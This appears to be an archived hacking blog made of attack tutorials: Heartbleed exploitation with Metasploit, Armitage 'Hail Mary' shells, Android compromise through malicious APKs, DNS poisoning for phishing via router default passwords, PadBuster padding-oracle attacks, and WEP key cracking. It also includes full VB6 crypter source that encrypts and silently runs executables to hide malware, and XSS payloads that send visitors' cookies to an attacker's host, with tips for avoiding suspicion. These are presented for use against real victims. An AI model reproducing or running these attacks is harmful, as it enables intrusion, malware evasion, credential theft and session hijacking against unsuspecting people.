Hacking & Stuff

2014-04-26T10:13:00.002-07:00

22.Tutorial On Exploiting Openssl's HeartBleed Vulnerability

Well Yeah You Heared It Right.In This Tutorial Am going to write about Exploiting The Recent Boom vulnerability called "HeartBleed" on one of the most widely implemented OpenSSL.

What is HeartBleed?

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).

The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.

What data Will You Compromise using this Attack?
Using this,I attacked a host from outside, without leaving a trace. Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, user names and passwords, instant messages, emails and business critical documents and communication.

Tutorial:

This can be Attacked using the Latest exploit that "metasploit" has included in it's latest update.
Am here Using the Kali Linux to Run the Metasploit console

Step 1:

Go to Command Prompt in Kali Linux and Run the Following Command.

root@Darkgrouz:~# msfconsole

Step 2:

After the Msfconsole shows up with the following line you are set to go.

msf>

Then issue the following command to search for the heartbleed auxiliary

msf>search heartbleed

Msf will now search for the heartbleed auxiliary and dispaly it.

Step 3:

After You Got the heart Bleed Auxiliary Path.Issue the following Command

root@Darkgrouz:~# use auxiliary/scanner/ssl/openssl_heartbleed

Once You have done It , The console will look like this now,

msf auxiliary(openssl_heartbleed) >

Step 4:

Then You Can Go Right into Attacking the host.
Issue these Foolowing Commands.

msf auxiliary(openssl_heartbleed) >set RHOSTS www.target.com

Then Stop All other networking applications like browsers,downloads,etc..
and start the "WIRESHARK" to sniff the traffic of heartbleed response.This can be done by simply typing the command Wreshark in terminal.

root@Darkgrouz:~#wireshark

Then in wireshark choose the interface you want to sniff and click start.

Then run the following command in the msfconsole

msf auxiliary(openssl_heartbleed) >Run

It'll then try to exploit the vulnerability if the server is vulnerable to heartbleed.

Step 5:

And if the server is vulnerable and is exploited it should return this.

msf auxiliary(openssl_heartbleed) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Step 6:

Check Out the traffic sniffed in the wireshark and Look for any valid data that server returns.

I do got the server Certifacte and some credentials after exploiting with this.

Feel free to contact me for further Doubts

Check Out your Luck Folks..

** Happy Hunting :) **

2014-04-20T05:28:00.000-07:00

21.Hacking With Armitage

I think that Kali or Backtrack Users may came to hear the name of ARMITAGE.
Yeah it's a cool Attack Kit included in both kali and backtrack.To be quick It's a Simple Attack Management Interface for Metasploit and it's more ease of use for newbies.Today I'll cover a Step by Step tutorial on attacking live host machine.

Requirements:

1.Backtrack or Kali Linux Distributions
2.Armitage

Step 1:(Opening armitage)

Step 2:(Connecting through Armitage)

Step 3:(Making a Quick Scan to OS detect Hosts)

Here i just used Quick Scan(OS Detect) method of nmap scan.But You can too Use all other methods for your Convinience.

Step 4:(Enter The Host IP address)

Here Enter the Host IP Address or IP address range for nmap to Scan

Step 5:(OS Detection Finished)
This is how it looks when Armitage Finds out OS of The Target host.

Step 6:(Scanning the machine)

once the OS Detection has been finished.Right Click on the Target machine and choose the Scan option attached to it.

And wait untill you see this on console at bottom.

Step 7:(Finding Attacks)

Once the Scan is completed.Do this Attacks-->Find Attacks

And After Finding Attacks has finished Do Attacks-->Hail Marry

Step 8:(Making Interaction with Target Machine)

And Once The Launching Exploits tab disappears right click on Red Colored machine and choose Interact option(If target is Linux machine) & Meterpreter (If target is windows machine)

You will see a shell session is opened at bottom CLI.That's it !! BOOM !!
Play Around Little Providing Commands.Here i used "ls" command.

Thanks Firends..Happy Hunting .. :)

2014-04-20T04:58:00.000-07:00

20.Hacking Smart Phones with Backtrack
Actually this tutorial is based on the smartphone-penetration-framework that was included in backtrack(Linux Distribution) by default.You can Have quick intro of it through a little googling cause am gonna jump for tutorial right away..:)

Requirements:

1.Backtrack 5 R3 or Kali
2. xampp for Linux
3.A smartphone(i used a android phone here)
4.*If you are doing it outside of your network you need to port forward your router

Step 1:(Installing Xampp on Linux)

Open up a terminal window and type
"wget http://www.apachefriends.org/download.html?xampp-linux-1.7.3a.tar.gz"

Once xampp has finished downloading, go to your home directory and you should have a file called "download.php?xampp-linux-1.7.3a.tar.gz" rename it to something like "xampp.tar.gz".

In your terminal window run
tar xvfz xampp.tar.gz -C /opt

Everything should be installed and you can find xampp in /opt/lampp/ directory

Step 2:(Configuring Xampp)

Use
/opt/lampp/lampp start
/opt/lampp/lampp stop
To start and stop the Xampp service
Once Xampp has started, go to "localhost" in your browser and select your language. Navigated to "Phpmyadmin" and create a new database called "framework".
Next add a new user by going to the "privileges" tab then "add a new user" Use whatever username and password you want and select "local" from the hosts list.

Make sure you "Check All" global privileges, then click go.
Now delete the htdocs folder in /opt/lampp/

Step 3:(Configuring SPF files)

Navigate to the SPF config file
/pentest/exploits/smartphone-pentest-framework/frameworkconsole/config
And replace
#IPADDRESS FOR WEBSERVER - with your local/public ip.
#IP ADDRESS TO LISTEN ON FOR SHELLS - with your local/public ip.
#IP ADDRESS OF SQLSERVER 127.0.0.1 IF LOCALHOST - with 127.0.0.1
#USERNAME OF THE MYSQL USER TO USE - with the username you made in phpmyadmin
#PASSWORD OF THE MYSQL USER TO USE - with the password of the user you set

Then,

Open up the smartphone-pentest-framework window by going to applications>backtrack>exploitation tools>wireless exploitation tools>gsm exploitation>Smartphone-pentest-framework

Select option 4 then select option 2.

Input your phone number, then input a 7 digit control key to connect to your victims and then enter the path you want your app to located on your webserver (I will be using /). Now don't expect anything to happen just yet, you need to configure your phone with SPF.

Locate the file
/pentest/exploits/smartphone-pentest-framework/FrameworkAndroidApp/bin/FrameworkAndroidApp.apk

And move it over to your phone by uploading it to dropbox or just connecting your phone to your computer.

Install it then open it up. Put in the details you filled out a minute ago in
SPF and your ip the webserver is setup on and press setup.

Step 5:(Attacking People)

Open up smartphone-pentest-framework and select option 6 then pick between the direct download (just sends a text to the person from your phone with a direct download to the file) or client side shell (uses a browser exploit in android phones to give you shell access).

If you select option 1 you must move the file
/pentest/exploits/smartphone-pentest-framework/AndroidAgent/bin/AndroidAgent.apk
To your root directory.

Once you get a victim, just open up smartphone-pentest-framework again, select option 1, fill in the details and you can then control the victim from your mobile phone.

And also you can get more info on SPF here:
http://www.bulbsecurity.com/smartphone-pentest-framework/

Thanks Friends..Happy Hunting .. :)

2013-10-28T01:31:00.000-07:00

19.DNS POISIONING TUTORIAL

This is an introduction to DNS poisoning which also includes an example of quite a nifty application of it using the IP Experiment. It's purely educational, so I'm not responsible for how you use the information in it. You're free do redistribute this tutorial wherever you like, but please keep it in its original form and credit me.

To start, you'll need

* A computer running Linux (Ubuntu in my case)

* A basic understanding of how the Domain Name System (DNS) works

Note that this is a more advanced topic; don't try this if you don't know what you're doing.

Why DNS?

The DNS provides a way for computers to translate the domain names we see to the physical IPs they represent. When you load a webpage, your browser will ask its DNS server for the IP of the host you requested, and the server will respond. Your browser will then request the webpage from the server with the IP address that the DNS server supplied.

Here's a pretty diagram to help explain it

If we can find a way to tell the client the wrong IP address, and give them the IP of a malicious server instead, we can do some damage

Malicious DNS Server

So if we want to send clients to a malicious web server, first we need to tell them its IP, and so we need to set up a malicious DNS server.

The server I've selected is dnsmasq - its lightweight and the only one that works for this purpose (that I've found)

To install dnsmasq on Ubuntu, run sudo apt-get install dnsmasq, or on other distributions of Linux, use the appropriate package manager.

Once you've installed it you can go and edit the configuration file (/etc/dnsmasq.conf)

sudo gedit /etc/dnsmasq.conf

The values in there should be sufficient for most purposes. What we want to do is hard-code some IPs for certain servers we want to spoof

The format for this is address=/HOST/IP

So for example;

address=/facebook.com/63.63.63.63

..where 63.63.63.63 is the IP of your malicious web server

Save the file and restart dnsmasq by running

sudo /etc/init.d/dnsmasq restart

You now have a DNS server running which will redirect requests for facebook.com to 63.63.63.63

Malicious Web Server

You probably already have a web server installed. If not, install apache. This is pretty basic, so I won't cover it here.

There are a couple of things you can do with the web server. It will be getting all the traffic intended for the orignal website, so the most likely cause of action would be to set up some sort of phishing site

I'll presume you know how to do that though

Another alternative is to set up some sort of transparent proxy which logs all activity. I might come back to this in the future.

I Can Be Ur DNS Server Plz?

Okay, so now you've got a DNS server pointing clients to your malicious server. But no one's going to listen to it, because it's not anyone's DNS server.

You need to set your victim to use your malicious server as its DNS server. If you can access their router settings, this can normally be set. Normally there are two DNS servers specified; change one of them to the IP of your malicious DNS server, hit enter and voila!

Now just wait for your victim to browse to the spoofed website and you'll have fun playing with their data!

An alternative is to, instead of a spoof webserver, set up a Metasploit browser_autopwn module as detailed here. You can have lots of fun with that ;)

If you don't know, the IP Experiment basically harvests people's IPs through websites such as forums and scans them for open ports. A surprising number of these IPs have port 80 open and more often that not, that leads straight to a router configuration mini-site. 'Admin' and 'password' will get you far in life; its fairly easy to login and change the DNS settings, and BOOM. You have a victim!

The same techniques can be applied to in many different ways.

Thanks

2013-04-28T04:27:00.000-07:00

18.Automated Padding Oracle Attacks with PadBuster

There’s been a lot of buzz recently about Padding Oracle Attacks, an attack vector demonstrated by Juliano Rizzo and Thai Duong during their presentation at BlackHat Europe earlier this summer. While padding oracles are relatively easy to exploit, the act of exploiting them can be time consuming if you don’t have a good way of automating the attack. The lack of good tools for identifying and exploiting padding oracles led us to develop our own internal padding oracle exploit script, PadBuster, which we’ve decided to share with the community .

The tool can be downloaded here, here I’ll spend a little bit of time discussing how the tool works and the various use cases it supports.

Some Background:

Before we discuss using PadBuster, let’s briefly discuss the fundamentals of a classic padding oracle attack. As the term implies, a critical concept behind a padding oracle attack is the notion of cryptographic padding. Plaintext messages come in a variety of lengths; however, block ciphers require that all messages be an exact number of blocks. To satisfy this requirement, padding is used to ensure that a given plaintext message can always be divided into an exact number of blocks.
While several padding schemes exist, one of the most common padding schemes is described in the PKCS#5 standard. With PCKS#5 padding, the final block of plaintext is padded with N bytes (depending on the length of the last plaintext block) of value N. This is best illustrated through the examples below, which show words of varying length (FIG, BANANA, AVOCADO, PLANTAIN, PASSIONFRUIT) and how they would be padded using PKCS#5 padding (the examples below use 8-byte blocks).

Click to Enlarge
Note that at least one padding byte is ALWAYS appended to the end of a string, so a 7-byte value (like AVOCADO) would be padded with 0x01 to fill the block, while an 8-byte value (like PLANTAIN) would have a full block of padding added to it. The value of the padding byte also indicates the number of bytes, so logically final value(s) at the end of the last block of ciphertext must either:

A single 0x01 byte (0x01)
Two 0x02 bytes (0x02, 0x02)
Three 0x03 bytes (0x03, 0x03, 0x03)
Four 0x04 bytes (0x04, 0x04, 0x04, 0x04)
...and so on

If the final decrypted block does not end in one of these valid byte sequences, most cryptographic providers will throw an invalid padding exception. The fact that this exception gets thrown is critical for the attacker (us) as it is the basis of the padding oracle attack.
A Basic Padding Oracle Attack Scenario

To provide a concrete example, consider the following scenario:

An application uses a query string parameter to pass the encrypted username, company id, and role id of a user. The parameter is encrypted using CBC mode, and each value uses a unique initialization vector (IV) which is pre-pended to the ciphertext.

When the application is passed an encrypted value, it responds in one of three ways:

When a valid ciphertext is received (one that is properly padded and contains valid data) the application responds normally (200 OK)
When an invalid ciphertext is received (one that, when decrypted, does not end with valid padding) the application throws a cryptographic exception (500 Internal Server Error)
When a valid ciphertext is received (one that is properly padded) but decrypts to an invalid value, the application displays a custom error message (200 OK)

The scenario described above is a classic Padding Oracle, because we can use the behavior of the application to easily determine whether the supplied encrypted value is properly padded or not. The term oracle refers to a mechanism that can be used to determine whether a test has passed or failed.
Now that the scenario has been laid out, let’s take a look at one of the encrypted parameters used by the application. This parameter is used by the application to store a semi-colon delimited series of values that, in our example, include the user’s name (BRIAN), company id (12), and role id (2). The value, in plaintext, can be represented as BRIAN;12;2;. A sample of the encrypted query string parameter is shown below for reference. Note that the encrypted UID parameter value is encoded using ASCII Hex representation.

http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6

At this point, an attacker would not have any idea what the underlying plaintext is, but for the sake of this example, we already know the plaintext value, the padded plaintext value, and the encrypted value (see diagram below). As we mentioned previously, the initialization vector is pre-pended to the ciphertext, so the first block of 8 bytes is just that.

As for the block size, an attacker would see that the length of the encrypted ciphertext is 24 bytes. Since this number is evenly divisible by 8 and not divisible by 16, one can conclude that you are dealing with a block size of 8 bytes. Now, for reference take a look at what happens internally when this value is encrypted and decrypted. We see the process byte-for-byte in the diagram as this information will be helpful later on when discussing the exploit. Also note that the circled plus sign represents the XOR function.

Encryption Diagram (Click to Enlarge):

Decryption Diagram (Click to Enlarge):

It is also worthwhile to point out that the last block (Block 2 of 2), when decrypted, ends in a proper padding sequence as expected. If this were not the case, the cryptographic provider would throw an invalid padding exception.
The Padding Oracle Decryption Exploit
Let’s now look at how we can decrypt the value by using the padding oracle attack. We operate on a single encrypted block at a time, so we can start by isolating just the first block of ciphertext (the one following the IV) and sending it to the application pre-pended with an IV of all NULL values. The URL and associated response are shown below:

Request:  http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537

Response:  500 - Internal Server Error

A 500 error response makes sense given that this value is not likely to result in anything valid when decrypted. The diagram below shows a closer look at what happens underneath the covers when the application attempts to decrypt this value. You should note that since we are only dealing with a single block of ciphertext (Block 1 of 1), the block MUST end with valid padding in order to avoid an invalid padding exception.

As shown above, the exception is thrown because the block does not end with a valid padding sequence once decrypted. Now, let’s take a look at what happens when we send the exact same value but with the last byte of the initialization vector incremented by one.

Request: http://sampleapp/home.jsp?UID=0000000000000001F851D6CC68FC9537

Response: 500 - Internal Server Error

Like before, we also get a 500 exception. This is due to the fact that, like before, the value does not end in a valid padding sequence when decrypted. The difference however, is that if we take a closer look at what happens underneath the covers we will see that the final byte value is different than before (0x3C rather than 0x3D).

If we repeatedly issue the same request and increment just the last byte in the IV each time (up to FF) we will inevitably hit a value that produces a valid padding sequence for a single byte of padding (0x01). Only one value (out of the possible 256 different bytes) will produce the correct padding byte of 0x01. When you hit this value, you should end up with a different response than the other 255 requests.

Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537

Response: 200 OK

Let’s take a look at the same diagram to see what happens this time.

Given this is the case, we can now deduce the intermediary value byte at this position since we know that when XORed with 0x3C, it produces 0x01.

If [Intermediary Byte] ^ 0x3C == 0x01,
then [Intermediary Byte] == 0x3C ^ 0x01,
so [Intermediary Byte] == 0x3D

Taking this one step further, now that we know the intermediary byte value we can deduce what the actual decrypted value is. You'll recall that during the decryption process, each intermediary value byte is XORed with the corresponding byte of the previous block of ciphertext (or the IV in the case of the first block). Since the example above is using the first block from the original sample, then we need to XOR this value with the corresponding byte from the original IV (0x0F) to recover the actual plaintext value. As expected, this gives us 0x32, which is the number "2" (the last plaintext byte in the first block).
Now that we’ve decrypted the 8th byte of the sample block, it’s time to move onto the 7th byte. In order to crack the 8th byte of the sample, we brute forced an IV byte that would produce a last decrypted byte value of 0x01 (valid padding). In order to crack the 7th byte, we need to do the same thing, but this time both the 7th and 8th byte must equal 0x02 (again, valid padding). Since we already know that the last intermediary value byte is 0x3D, we can update the 8th IV byte to 0x3F (which will produce 0x02) and then focus on brute forcing the 7th byte (starting with 0x00 and working our way up through 0xFF).

Once again, we continue to generate padding exceptions until we hit the only value which produces a 7th decrypted byte value of 0x02 (valid padding), which in this case is 0x24.

Using this technique, we can work our way backwards through the entire block until every byte of the intermediary value is cracked, essentially giving us access to the decrypted value (albeit one byte at a time). The final byte is cracked using an IV that produces an entire block of just padding (0x08) as shown below.

The Decryption Exploit with PadBuster

Now let’s discuss how to use PadBuster to perform this exploit, which is fairly straightforward. PadBuster takes three mandatory arguments:

URL - This is the URL that you want to exploit, including query string if present. There are optional switches to supply POST data (-post) and Cookies if needed (-cookies)
Encrypted Sample - This is the encrypted sample of ciphertext included in the request. This value must also be present in either the URL, post or cookie values and will be replaced automatically on every test request
Block Size - Size of the block that the cipher is using. This will normally be either 8 or 16, so if you are not sure you can try both

For this example, we will also use the command switch to specify how the encrypted sample is encoded. By default PadBuster assumes that the sample is Base64 encoded, however in this example the encrypted text is encoded as an uppercase ASCII HEX string. The option for specifying encoding (-encoding) takes one of the following three possible values:

0: Base64 (default)
1: Lowercase HEX ASCII
2: Uppercase HEX ASCII

The actual command we run will look like the following:

padBuster.pl http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795
A28ED4AAC67B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Notice that we never told PadBuster how to recognize a padding error. While there is a command line option (-error) to specify the padding error message, by default PadBuster will analyze the entire first cycle (0-256) of test responses and prompt the user to choose which response pattern matches the padding exception. Typically the padding exception occurs on all but one of the initial test requests, so in most cases there will only be two response patterns to choose from as shown below (and PadBuster will suggest which one to use).

The initial output from PadBuster is shown in the screenshot above. You’ll see that PadBuster re-issues the original request and shows the generated response information before starting its testing. This is useful for authenticated applications to ensure that the authentication cookies provided to PadBuster are working correctly.
Once a response pattern is selected, PadBuster will automatically cycle through each block and brute force each corresponding plaintext byte which will take, at most, 256 requests per byte. After each block, PadBuster will also display the obtained intermediary byte values along with the calculated plaintext. The intermediary values can be useful when performing arbitrary encryption exploits as we will show in the next section.

Encrypting Arbitrary Values
We've just seen how a padding oracle and PadBuster can be used to decrypt the contents of any encrypted sample one block at a time. Now, let’s take a look at how you can encrypt arbitrary payloads using the same vulnerability.
You have probably noticed that once we are able to deduce the intermediary value for a given ciphertext block, we can manipulate the IV value in order to have complete control over the value that the ciphertext is decrypted to. So in the previous example of the first ciphertext block that we brute forced, if you want the block to decrypt to a value of "TEST" you can calculate the required IV needed to produce this value by XORing the desired plaintext against the intermediary value. So the string "TEST" (padded with four 0x04 bytes, of course) would be XORed against the intermediary value to produce the needed IV of 0x6D, 0x36, 0x70, 0x76, 0x03, 0x6E, 0x22, 0x39.

This works great for a single block, but what if we want to generate an arbitrary value that is more than one block long? Let’s look at a real example to make it easier to follow. This time we will generate the encrypted string "ENCRYPT TEST" instead of just "TEST". The first step is to break the sample into blocks and add the necessary padding as shown below:

When constructing more than a single block, we actually start with the last block and move backwards to generate a valid ciphertext. In this example, the last block is the same before, so we already know that the following IV and ciphertext will produce the string "TEST".

Request:  http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537

Next, we need to figure out what intermediary value 6D367076036E2239 would decrypt to if it were passed as ciphertext instead of just an IV. We can do this by using the same technique used in the decryption exploit by sending it as the ciphertext block and starting our brute force attack with all nulls.

Request:  http://sampleapp/home.jsp?UID=00000000000000006D367076036E2239

Once we brute force the intermediary value, the IV can be manipulated to produce whatever text we want. The new IV can then be pre-pended to the previous sample, which produces the valid two-block ciphertext of our choice. This process can be repeated an unlimited number of times to encrypt data of any length.
Encrypting Arbitrary Values with PadBuster
PadBuster has the option to automate the process of creating arbitrary encrypted values in addition to decrypting them. There are three command line switches related to creating ciphertexts:

-plaintext [String]: plaintext to EncryptThis is the plaintext you want to encrypt. This option is mandatory when using PadBuster to encrypt data, and its presence is what tells PadBuster to perform encryption instead of decryption
-ciphertext [Bytes]: CipherText for Intermediary Bytes (Hex-Encoded)Optional - can be used to provide the starting ciphertext block for encryption. This option must be used in conjunction with the -intermediary option (see below)
-intermediary [Bytes]: Intermediary Bytes for CipherText (Hex-Encoded)Optional - can be used to provide the corresponding intermediary byte values for the cipher text specified with the -ciphertext option.

The purpose of the -ciphertext and -intermediary options is to speed up the exploit process as it reduces the number of ciphertext blocks that must be cracked when generating a forged ciphertext sample. If these options are not provided, PadBuster will start from scratch and brute force all of the necessary blocks for encryption. Let’s take a look at the actual command syntax used to encrypt data with PadBuster:

padBuster.pl http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC95378587
95A28ED4AAC67B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

-plaintext "ENCRYPT TEST"

The output from PadBuster is shown in the screenshot below:

You’ll notice that just like before, PadBuster will first ask you to choose the correct padding error response signature. This step can be skipped if you manually specify the padding error message using the -error option. Also notice that PadBuster performed a brute force of both full ciphertext blocks, because we didn’t specify a starting ciphertext block and associated intermediary value to use. If we had provided these values to PadBuster, the first block would have been calculated instantly and only the second block would require brute force as shown below.

padBuster.pl http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC953785879
5A28ED4AAC67B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 -plaintext 
"ENCRYPT TEST"-ciphertext F851D6CC68FC9537 -intermediary 39732322076A263D

As you can see, the first block (Block 2) was calculated before prompting for the response signature since this block was calculated using just the data provided with the -ciphertext and -intermediary options. If you are wondering where these two values came from, remember that PadBuster prints these two values to the screen at the conclusion of each round of block processing.
So to wrap things up, we are releasing PadBuster because we think that other pen testers can benefit from a flexible exploit script for detecting and exploit padding oracles. We would be interested in hearing if there are other features that would make the tool more useful or practical from a tester’s perspective, so let us know if you have any feedback.

2013-01-23T07:16:00.001-08:00

17.CAFFE LATTE ATTACK:

    In the Honeypot attacks , we notice that clients will continuously probe for SSIDs they have
connected to previously. If the client had connected to an access point using WEP, operati ng
systems such as Windows, cache and store the WEP key. The next ti me the client connects to
the same access point, the Windows wireless conﬁ gurati on manager automati cally uses the
stored key.
The Caffe Latte attack is a WEP att ack which allows a hacker
to retrieve the WEP key of the authorized network, using just the client. The attack does not
require the client to be anywhere close to the authorized WEP network. It can crack the WEP
key using just the isolated client.
          In this exercise, we will retreive the WEP key of a network from a client using the Caffe
Latte attack.

CONDUCTING THE CAFFE LATTE ATTACK:

Follow these instructi ons to get started:

STEP 1:
   Let us ﬁ rst set up our legiti mate access point with WEP for the network Wireless Lab
with the key ABCDEFABCDEFABCDEF12 in Hex:

STEP 2:

Let us connect our client to it and ensure that the connection is successful using airodump-ng as shown next:

STEP 3:

Let us unplug the access point and ensure the client is in the un-associated stage

and searching for the WEP network Wireless Lab:

STEP 4:

Now use airbase-ng to bring up an access point with Wireless Lab as the SSID

with the parameters shown next:

STEP 5:

As soon as the client connects to this access point, airbase-ng starts the CaFFe-

Latte attack as shown:

STEP 6:
We now start airodump-ng to collect the data packets from this access point only,
as we did before in the WEP-cracking case:

STEP 7:
We also start aircrack-ng as in the WEP-cracking to begin
the cracking process. The command line would be aircrack-ng filename where
ﬁlename is the name of the ﬁle created by airodump-ng :

STEP 8:
Once we have enough WEP encrypted packets, aircrack-ng succeeds in cracking
the key as shown next:

THANKS FOLKS....

2013-01-23T06:53:00.002-08:00

16.HOW TO MAKE UR OWN CRYPTER:

What you will need:

Visual Basic 6 or Visual Basic 6 Portable
A RC4 module
A brain

The RC4 module and Visual Basic 6 Portable will have the download links at the end of this tutorial.

TABLE OF CONTENTS:
1. Introduction
2. Building your crypter
3. Conclusion

1. Introduction

RC4:
In cryptography, RC4 (also known as ARCFOUR or ARC4 meaning Alleged RC4, see below) is the most widely used stream cipher and is used in protocols such as Secure Sockets Layer (SSL) (to protect Internet traffic) and WEP (to secure wireless networks).

Stub:
A method stub or simply stub in software development is a piece of code used to stand in for some other programming functionality. A stub may simulate the behavior of existing code (such as a procedure on a remote machine) or be a temporary substitute for yet-to-be-developed code. Stubs are therefore most useful in porting, distributed computing as well as general software development and testing.

Builder:
A builder is usually the client to make/do something to a file, and it is supposed to go with a stub. The builder usually allows the stub to simulate the behaivor of existing code, and than it makes the file/does something to a file.

2. Building your crypter.

Now, open up Visual Basic 6 or Visual Basic Portable. To make the task easier, open two Visual Basic 6 programs. One is going to be the builder, and one is going to be the stub.

Now, lets start on the builder. Add a RC4 module, and lets go on. First of all, add one label that says "File Path:", a text box right beside "File Path:", a button that says "Browse" or "...", and another button that says "Crypt" or "Build". Now, lets add the CommonDialog control. Add a CommonDialog and name it commondlg. Now, lets double click the button that says "Browse" or "...". Add this code, and I'll explain it.

Code:

With commondlg 'CommonDialog1.

     .Filter = "Executable files | *.exe" 'The file used for crypting. (*.exe)

     .DialogTitle = "Please select a executable file..." 'The title of the dialog.

     .ShowOpen 'Show the dialog.

     End With

     TextBox1.Text = commondlg.FileName 'Make TextBox1.Text as the selected filename.

The With commondlg command calls CommonDialog1.
The .Filter part allows you to choose what files you only want to be selected.
The .DialogTitle command is the title of the dialog (the prompt that tells you which file you want to select for crypting).
The .ShowOpen command shows the dialog.
End With will end CommonDialog1.
And finally, the TextBox1.Text = commondlg.FileName command makes TextBox1.text show the selected filename.

Now, click the button that says "Build" or "Crypt". Add this code. It explains it, so please take time to read what it says.

Code:

Dim sStub As String, sFile As String 'This command will declare the two strings.

Open App.Path & "\stub.exe" For Binary As #1 'Opens up the stub.

sStub = Space(LOF(1)) 'This declares the space.

Get #1, , sStub 'This puts in a space in the file.

Close #1 'This closes the file.

Open TextBox1.Text For Binary As #1 'Opens up the stub.

sFile = Space(LOF(1)) 'This declares the space.

Get #1, , sFile 'This puts a space in the file.

Close #1 'This closes the file.

Open App.Path & "\output.exe" For Binary As #1 'This creates the crypted file as "output.exe".

Put #1, , sStub & FileSplit & RC4(sFile, Pass) 'This adds the option FileSplit and the RC4 option.

Close #1 'This closes the file.

MsgBox ("File crypted successfully!") 'This is the prompt to show the message that the program successfully crypted the file.

Now, you might have an error that will show you that FileSplit and Pass is not declared. To do so, we will add the declarations on the top of the coding.

Code:

Const FileSplit = "<@#@>" 'The file split.

Const Pass = "s0rasRC4Tutorial" 'The RC4 password.

For this tutorial, we will be using "s0rasRC4Tutorial" as the RC4 password.

Now, lets start on the stub. Add the RC4 module, and make a new module called modMain. Add this code in modMain:

Code:

Const FileSplit = "<@#@>" 'The file split.

Const Pass = "s0rasRC4Tutorial" 'The RC4 password; It must be the same as the one on the builder!

Public Declare Function ShellExecute Lib "Shell32.dll" Alias  
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpszOp As String, ByVal  
lpszFile As String, ByVal lpszParams As String, ByVal LpszDir As String,
  ByVal FsShowCmd As Long) As Long 'Calls the ShellExecute command.

Public Sub Main() 'The main part of the stub.

Dim sStub As String, sFile As String 'This will declare the strings again, just like we did on the builder.

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Opens up the selected .exe file.

sStub = Space(LOF(1)) 'This will declare the space.

Get #1, , sStub 'This puts a space in the file.

Close #1 'This closes the file.

sFile = Split(sStub, FileSplit)(1) 'This will split the file and the stub.

Open Environ("tmp") & "\decrypted.exe" For Binary As #1 'This will make a decrypted file in the RC4 folder.

Put #1, , RC4(sFile, Pass) 'This will add the RC4 password to the file with the selected RC4 password.

Call ShellExecute(0, vbNullString, Environ("tmp") &  
"\decrypted.exe", vbNullString, vbNullString, 1) 'Calls the ShellExecute
  command and drops the decrypted file in the temporary files folder.

End Sub 'This ends "Public Sub Main()".

The code will be teaching you. Once you're done, remove the Form1.

3. Conclusion
I hope you liked this tutorial, and I hope you learned a lot about crypting with RC4!

Visual Basic 6 Portable: http://www.mediafire.com/?tgicg4hn1n5
RC4 module: http://www.freevbcode.com/ShowCode.asp?ID=4398

2012-12-09T05:34:00.002-08:00

15.COMPLETE TUTORIAL ON MAKING XSS ATTACK:

XSS (PERSISTENT & NON-PERSISTENT

Hi XSS CAN BE DONE in 2 ways, Persistent and Non-Persistent type.

For XSS we will use something called a cookie catcher.
Question will be that why we would need someone else's cookie?
The answer is that we can change our browser's cookies to login as them!!! So lets call it Session Hijacking

First go to a free hosting site like http://www.110mb.com or other php hosting sites and register there. Then download this cookie catcher and upload it.

Cookie Catcher: http://adf.ly/Tdbm

What does the cookie catcher do?
It grabs the user's:

Cookies
IP
Referral link which what page it got to that link
Time and Date

Get Vulnerable sites:

Ok first we need sites that are vulnerable to XSS so it will work on them.
To test it we will need to add a code after the link.
I will use this site that many of you probably saw it before.
http://adf.ly/Tdo3

Now for testing if a site is vuln or not you can add these codes:

Code:

"><script>alert(document.cookie)</script>

Code:

'><script>alert(document.cookie)</script>

Code:

"><script>alert("Test")</script>

Code:

'><script>alert("Test")</script>

Or a new one which i found out myself which you can inject HTML:

Code:

"><body bgcolor="FF0000"></body>

Code:

"><iframe src="www.google.com" height=800 width=800 frameborder=1 align=center></iframe>

Then if we see a java script popup like this:

Spoiler

Or if you used my testing and you saw the page's background go black or a page of google opens in that site means its vulnerable to XSS attacks.

In the end, if your site is http://www.example.com the link to test it would be: http://www.example.com/index.php?id="><script>alert(document.cookie)</script>

Persistent XSS:

In this method we will grab the victim's cookies with no suspection and completely stealth.
Now assume we have a forum which has HTML enabled or a site which has a comment page which is vulnerable to XSS.
Ok now lets go to this site: http://adf.ly/Tdo3
Now test and see if the XSS vulnerable test's work on it.
It does!!! And your getting one of the vulnerability's symptoms. So now lets try to grab it's cookies. If there is a box to type and submit it add this:

Code:

<script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

and submit that post in the forum or the comment box also its good to add something before adding the code like: hey i got a problem logging in???
so they wont suspect you

Refresh the page, now go to the newly created page, in the same directory as you saved your cookie catcher .php search for cookies.html which is a new file that show you the cookies. like if your cookie catcher link would be:
http://www.example.com/cookie catcher.php
the container of the cookies would be:
http://www.example.com/cookies.html

Now visit cookies.html and you would see the session of that cookie!
PS: the site i used doesn't support cookies so you can use: http://adf.ly/TeZV for cookie supporting.

Now there is another way for a cookie grabbing drive by, add this code and post it:

Code:



<iframe frameborder=0 
height=0 width=0 
src=javascript:void(document.location="www.you.110mb.com/cookie 
catcher.php?c=" + document.cookie)</iframe>

Then post it in the forum or the comment box.
Now this will open a iframe in the page which will allow you to have the same page in that website. If you don't know about iframes make a new html file in your computer and just do a

<iframe src="www.google.com"></iframe> and you will understand iframes more

ofc the site Needs to have cookies supported! a blank javascript means you need to go to another site.

Non-Persistent XSS:

